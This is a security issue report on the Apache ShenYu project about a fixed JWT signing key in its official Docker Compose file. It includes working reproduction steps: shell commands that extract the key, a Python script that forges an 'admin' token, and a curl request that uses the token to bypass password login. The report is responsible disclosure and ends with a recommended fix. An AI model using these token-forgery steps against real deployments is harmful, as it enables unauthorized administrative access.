28Hus opened a new issue, #7058: URL: https://github.com/apache/shenyu/issues/7058
### Is there an existing issue for this? - [x] I have searched the existing issues ### Current Behavior # Docker Compose ships a known JWT signing key, enabling Authentication Token forgery ## Summary The official Docker Compose distribution ships a publicly known, fixed value for `SHENYU_JWT_SECRETKEY`. A deployment started from this Compose file therefore uses a JWT signing key that is available to every repository reader. An attacker who can reach the ShenYu Admin service can create a valid JWT Authentication Token and bypass password authentication for an existing enabled dashboard user. This is separate from [#6398](https://github.com/apache/shenyu/issues/6398) and [#6408](https://github.com/apache/shenyu/pull/6408). PR #6408 correctly decoupled JWT signing from user password hashes, but the Docker Compose distribution still provides a known non-empty signing key. ## Relationship to #6398 and #6408 The existing issue and pull request addressed a different root cause: - [Issue #6398](https://github.com/apache/shenyu/issues/6398) identified the reuse of a user's stored password hash as the JWT HMAC signing key. Anyone who obtained that hash could use it directly to sign tokens without recovering the original password. - [PR #6408](https://github.com/apache/shenyu/pull/6408), merged on August 3, 2026, introduced `shenyu.jwt.secretKey` / `SHENYU_JWT_SECRETKEY`, updated both signing and verification, and added fail-fast validation for blank values and the legacy `defaultSecretKey` sentinel. This report is not a duplicate of #6398. The current Docker Compose file supplies a different, non-empty public value. Because that value is not rejected by the new validation, a default Compose deployment can still run with a signing key known to repository readers. ## Affected code The Docker Compose file injects the fixed JWT signing key: - [docker-compose.yaml#L46-L50](https://github.com/apache/shenyu/blob/567142e07261b3e615ae8850b30f4421f455cc5d/shenyu-dist/shenyu-docker-compose-dist/src/main/resources/docker-compose.yaml#L46-L50) The startup validation rejects only an empty value and `defaultSecretKey`; it does not reject the Compose value: - [JwtProperties.java#L41-L52](https://github.com/apache/shenyu/blob/567142e07261b3e615ae8850b30f4421f455cc5d/shenyu-admin/src/main/java/org/apache/shenyu/admin/config/properties/JwtProperties.java#L41-L52) ShenYu signs and verifies JWTs with this key using HMAC-SHA256: - [JwtUtils.java#L99-L120](https://github.com/apache/shenyu/blob/567142e07261b3e615ae8850b30f4421f455cc5d/shenyu-admin/src/main/java/org/apache/shenyu/admin/utils/JwtUtils.java#L99-L120) The `userName` claim is used to recover an enabled dashboard user, and permissions are then resolved for that user: - [ShiroRealm.java#L72-L127](https://github.com/apache/shenyu/blob/567142e07261b3e615ae8850b30f4421f455cc5d/shenyu-admin/src/main/java/org/apache/shenyu/admin/shiro/config/ShiroRealm.java#L72-L127) ## Impact An attacker does not need: - a dashboard password; - database access; - a previously issued valid token; or - the original JWT signing key from a secret store. The attacker only needs network access to the Admin service and the username of an existing enabled dashboard account. For example, if the default `admin` account exists, the attacker can create a JWT with: ```json { "userName": "admin", "exp": 1893456000 } ``` The forged token can then be submitted through the `X-Access-Token` header to protected Admin APIs such as: ```text GET /dashboardUser?currentPage=1&pageSize=1 GET /plugin?currentPage=1&pageSize=10 ``` This results in authentication without performing the normal password-login flow. This report does not rely on public exposure of port `9095`. Public exposure is a separate deployment issue. The security problem is that the official runnable configuration accepts a signing key that is known in advance, so any untrusted party that can reach the Admin trust boundary can forge Authentication Tokens. ## Reproduction Run the official Compose distribution in a local test environment. Extract the configured key from the supplied Compose file: ```bash export SHENYU_JWT_SECRETKEY="$( sed -n 's/^[[:space:]]*-[[:space:]]*SHENYU_JWT_SECRETKEY=//p' docker-compose.yaml | head -1 )" ``` Generate a JWT for an existing enabled dashboard user: ```bash TOKEN="$(python3 - <<'PY' import os import time import jwt key = os.environ["SHENYU_JWT_SECRETKEY"] token = jwt.encode( { "userName": "admin", "exp": int(time.time()) + 300, }, key, algorithm="HS256", ) print(token) PY )" ``` Send the token to a protected Admin endpoint: ```bash curl -i \ -H "X-Access-Token: ${TOKEN}" \ "http://127.0.0.1:9095/dashboardUser?currentPage=1&pageSize=1" ``` Expected result: the protected request is accepted without a successful password login. Using an invalid signing key causes JWT verification to fail and the request to be rejected. ## Recommended fix 1. Remove the fixed signing key from the repository. 2. Make the Compose deployment fail unless the operator explicitly supplies a secret: ```yaml environment: - SHENYU_JWT_SECRETKEY=${SHENYU_JWT_SECRETKEY:?Set a unique random JWT signing key} ``` 3. Reject the known Compose placeholder explicitly in `JwtProperties`. 4. Document generation of a persistent cryptographically random key. 5. Ensure all Admin instances in a cluster use the same configured key. 6. Add a regression test proving that the default Compose configuration cannot start with a known signing key. ## Related references - [Apache ShenYu issue #6398](https://github.com/apache/shenyu/issues/6398) - [Apache ShenYu PR #6408](https://github.com/apache/shenyu/pull/6408) - [Apache OFBiz security advisories](https://ofbiz.apache.org/security.html) - [Apache OFBiz fix removing demo secret keys](https://github.com/apache/ofbiz-framework/commit/6ba1356af67dbda4848f4c852b9ad8d3afb545c1) - [PraisonAI known JWT secret advisory](https://github.com/advisories/GHSA-cwj8-7gp2-ggcw) - [Go Restful API Boilerplate known JWT secret advisory](https://github.com/advisories/GHSA-mqq6-462x-jxmm) - [Flowise weak JWT defaults advisory](https://github.com/advisories/GHSA-cc4f-hjpj-g9p8) - [FUXA hardcoded JWT fallback advisory](https://github.com/advisories/GHSA-c8m8-3jcr-6rj5) - [LibreChat removal of published credential defaults](https://github.com/danny-avila/LibreChat/commit/1596df724a840f894831fc74f21de8d8df72fcb1) This report is part of my ongoing research on Authentication Token security. If you have any questions or would like any part of this report clarified or independently verified, please feel free to contact me at any time. I would be very pleased to make a small contribution to improving Apache ShenYu’s security. ### Expected Behavior _No response_ ### Steps To Reproduce _No response_ ### Environment ```markdown ShenYu version(s): ``` ### Debug logs _No response_ ### Anything else? _No response_ -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected]
